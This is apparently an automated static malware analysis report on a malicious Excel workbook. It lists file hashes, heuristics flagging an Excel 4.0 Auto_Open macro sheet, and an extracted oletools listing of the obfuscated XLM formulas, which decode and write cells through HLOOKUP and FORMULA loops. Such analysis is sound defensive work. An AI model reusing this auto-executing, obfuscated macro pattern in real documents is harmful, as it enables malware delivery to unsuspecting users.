Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 13a0662924b4902c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:43 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 48a9709c7e626d91af6bd49b5a9c146c SHA-1: 03a2fbef4ad25bd0d97f28bec3ab971eace8041d SHA-256: 13a0662924b4902ceb18a21fd634f83ff7d53b69d46e95078051fc4d8491d9f5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6489 bytes
SHA-256: 3e756e0b0298d7d153930c66369cc4da038ce60880da469494834f5949b052c3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YgZUjzJ
' 0018     20 LABEL : Cell Value, String Constant - ACDtQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G164 
' 0018     24 LABEL : Cell Value, String Constant - cFDcoZiRE len=0 
' 0018     25 LABEL : Cell Value, String Constant - DnPXBmRhCI len=0 
' 0018     20 LABEL : Cell Value, String Constant - GPdpB len=0 
' 0018     24 LABEL : Cell Value, String Constant - gQkMaYAcu len=0 
' 0018     21 LABEL : Cell Value, String Constant - gyAVPg len=0 
' 0018     22 LABEL : Cell Value, String Constant - HnhdLxu len=0 
' 0018     20 LABEL : Cell Value, String Constant - krZaR len=0 
' 0018     22 LABEL : Cell Value, String Constant - mOXNiIS len=0 
' 0018     27 LABEL : Cell Value, String Constant - mpLujNJpBrKl len=0 
' 0018     23 LABEL : Cell Value, String Constant - nbXxQkYt len=0 
' 0018     23 LABEL : Cell Value, String Constant - nchprhTs len=0 
' 0018     26 LABEL : Cell Value, String Constant - QizXKrbfGFi len=0 
' 0018     23 LABEL : Cell Value, String Constant - QMEhOuQl len=0 
' 0018     22 LABEL : Cell Value, String Constant - qYXNQQY len=0 
' 0018     21 LABEL : Cell Value, String Constant - uTEOuB len=0 
' 0018     25 LABEL : Cell Value, String Constant - VKIFuaopDI len=0 
' 0018     20 LABEL : Cell Value, String Constant - vQpTL len=0 
' 0018     27 LABEL : Cell Value, String Constant - xzlJtzVYwsPi len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZgKpfbdQT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YgZUjzJ,G79,"SET.NAME("nbXxQkYt",VALUE("0"))",""
'  YgZUjzJ,G82,"SET.NAME("DnPXBmRhCI",nbXxQkYt)",""
'  YgZUjzJ,G84,"SET.NAME("QizXKrbfGFi",nbXxQkYt)",""
'  YgZUjzJ,G87,"SET.NAME("ACDtQ",COUNTA(mpLujNJpBrKl))",""
'  YgZUjzJ,G92,"SET.NAME("cFDcoZiRE",COUNTA(qYXNQQY))",""
'  YgZUjzJ,G95,[],""
'  YgZUjzJ,G100,"SET.NAME("uTEOuB","")",""
'  YgZUjzJ,G103,"DnPXBmRhCI",""
'  YgZUjzJ,G105,"SET.NAME("gyAVPg",HLOOKUP("*",mpLujNJpBrKl,DnPXBmRhCI,FALSE))",""
'  YgZUjzJ,G107,"krZaR",""
'  YgZUjzJ,G109,"SET.NAME("nchprhTs",nbXxQkYt)",""
'  YgZUjzJ,G113,[],""
'  YgZUjzJ,G116,"nchprhTs",""
'  YgZUjzJ,G118,"HnhdLxu",""
'  YgZUjzJ,G122,"xzlJtzVYwsPi",""
'  YgZUjzJ,G126,"gQkMaYAcu",""
'  YgZUjzJ,G130,"SET.NAME("VKIFuaopDI",VALUE(HLOOKUP("*",qYXNQQY,gQkMaYAcu,FALSE)))",""
'  YgZUjzJ,G132,"vQpTL",""
'  YgZUjzJ,G135,"uTEOuB",""
'  YgZUjzJ,G137,"QizXKrbfGFi",""
'  YgZUjzJ,G139,NEXT(),""
'  YgZUjzJ,G143,"GPdpB",""
'  YgZUjzJ,G147,"SET.NAME("f",INT(T(FORMULA(T(uTEOuB)&"",""&T(GPdpB)))))",""
'  YgZUjzJ,G151,"ZgKpfbdQT",""
'  YgZUjzJ,G156,NEXT(),""
'  YgZUjzJ,G159,RETURN(),""
'  YgZUjzJ,G191,"SET.NAME("QMEhOuQl",G79)",""
'  YgZUjzJ,G194,"mpLujNJpBrKl",""
'  YgZUjzJ,G198,"SET.NAME("qYXNQQY",R80C12)",""
'  YgZUjzJ,G202,"SET.NAME("ZgKpfbdQT",211)",""
'  YgZUjzJ,G205,"SET.NAME("mOXNiIS",7)",""
'  YgZUjzJ,G210,QMEhOuQl(),""
'  YgZUjzJ,G211,HALT(),""

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